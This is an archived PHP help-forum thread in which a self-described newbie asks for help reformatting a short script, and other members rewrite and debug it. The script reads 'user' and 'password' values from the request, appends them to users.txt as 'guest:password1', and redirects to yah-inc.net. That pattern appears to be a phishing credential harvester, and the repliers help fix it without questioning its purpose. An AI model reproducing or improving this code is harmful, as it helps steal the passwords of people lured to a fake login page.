Jump to content

Archived

This topic is now archived and is closed to further replies.

Neep Help

Log help! - HELPED ALREADY THANKS TOON!

Recommended Posts

Hi all, I am in need of help editing this tiney php code. It saves in this format:

user=guest
password=password1

I would like one of you to alter the code so it saves in this format:

guest:password1

I have no idea how to do this help please!! ??? :-[

[code]<?php
header("Location: http://yah-inc.net");
$handle = fopen("users.txt", "a");
foreach($_GET as $variable => $value) {
   fwrite($handle, $variable);
   fwrite($handle, "=");
   fwrite($handle, $value);
   fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>[/code]

Share this post


Link to post
Share on other sites
assuming th only variables passed to this script are user and password and they are posted....

(switch to $_GET['user'], $_GET['password'] id they passed via the url. - which they currently are! I say this as i would not pass such info via the url but thats just me.)

remove the for loop and replace with

$string = $_POST['user'] . ":" . $_POST['password'] . "\r\n";
fwrite($handle, $string);



Share this post


Link to post
Share on other sites
So my code in all would be?

[code]<?php
header("Location: http://yah-inc.net");
$handle = fopen("users.txt", "a");
$string = $_POST['user'] . ":" . $_POST['password'] . "\r\n";
fwrite($handle, $string);
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>[/code]

it does not work, i am a newbie to php..could you explain more...thanks :-[

Share this post


Link to post
Share on other sites
[code]
<?php
header("Location: http://yah-inc.net");
$handle = fopen("users.txt", "a");
$string = $_GET['user'] . ":" . $_GET['password'] . "\r\n";
fwrite($handle, $string);

fclose($handle);
exit;
?>
[/code]

Intrigued by the header being at the top of teh script. Perhaps move that to just above the exit command.

Share this post


Link to post
Share on other sites
The header is a problem as the code underneath it will not run, becuase as soon as PHP see the header function, it'll force the browser to move to http://yah-inc.net. Any code underneather it will not be run.

Share this post


Link to post
Share on other sites
okay i changed the hearder and put it at the bottom..it does not log anything, i have no idea what i could possibly be doing wrong ???

Share this post


Link to post
Share on other sites
Do you get ANY feedback off the script?

take out the header and the exit and see if any erros are reported...

I suspect a case of open_base_dir here.....

Share this post


Link to post
Share on other sites
is that in the file you expect to see the new log info or on screen as a result of teh script running?

What OS you using?

Share this post


Link to post
Share on other sites
that is when i check the userlog.txt i get that weird stuff, not sure about the os but is it running apache

Share this post


Link to post
Share on other sites
get on msn (toonmariner@hotmail.com) or googletlak (toonmariner@gmail.com)

Share this post


Link to post
Share on other sites

×

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.